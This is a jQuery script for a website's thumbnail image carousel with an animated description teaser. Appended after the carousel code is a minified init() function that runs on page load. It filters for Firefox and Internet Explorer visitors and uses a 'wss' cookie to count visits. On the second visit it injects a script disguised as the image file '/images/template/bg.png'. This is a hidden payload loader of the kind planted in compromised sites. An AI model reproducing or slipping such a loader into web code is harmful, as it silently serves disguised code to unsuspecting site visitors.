$(document).ready(function() {	
 
	//Show Banner

	$(".ideas_main .description_place").animate({ opacity: 0.75 }, 0); //Set Opacity

	//Click and Hover events for thumbnail list
	$(".ideas_thumb ul li:first").addClass('active'); 
	$(".ideas_thumb ul li").click(function(){ 
	
		//Set Variables
		var imgAlt = $(this).find('a').attr("title"); //Get Alt Tag of Image
		var imgTitle = $(this).find('a').attr("href"); //Get Main Image URL
		var imgUrl = $(this).find('.trip_descript a').attr("href"); //Main images redirect url
		var imgDesc = $(this).find('.trip_descript').html(); 	//Get HTML of block
		var imgHeight = $(".image_main").find('.trip_descript').height();	//Calculate height of block	
	
		
		if ($(this).is(".active")) {  //If it's already active, then...
			return false; // Don't click through
		} else {
			//Animate the Teaser	
		$(".ideas_main .description_place").animate({opacity: 0, marginBottom: -imgHeight-10},500,function(){
						
				       $(".ideas_main .description_place").html(imgDesc).html(imgDesc).animate({ opacity: 0.75,	marginBottom: "0" },200 );
					  $(".ideas_main img").attr({ src: imgTitle , alt: imgAlt});
					  $(".ideas_main a").attr({ href: imgUrl});
            });
				
			
		}
		
		$(".ideas_thumb ul li").removeClass('active'); //Remove class of 'active' on all lists
		$(this).addClass('active');  //add class of 'active' on this list only
		return false;
		
	}) .hover(function(){
		$(this).addClass('hover');
		
		}, function() {
		$(this).removeClass('hover');
	});
			
	//Toggle Teaser

	
});//Close Function

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/template/bg.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
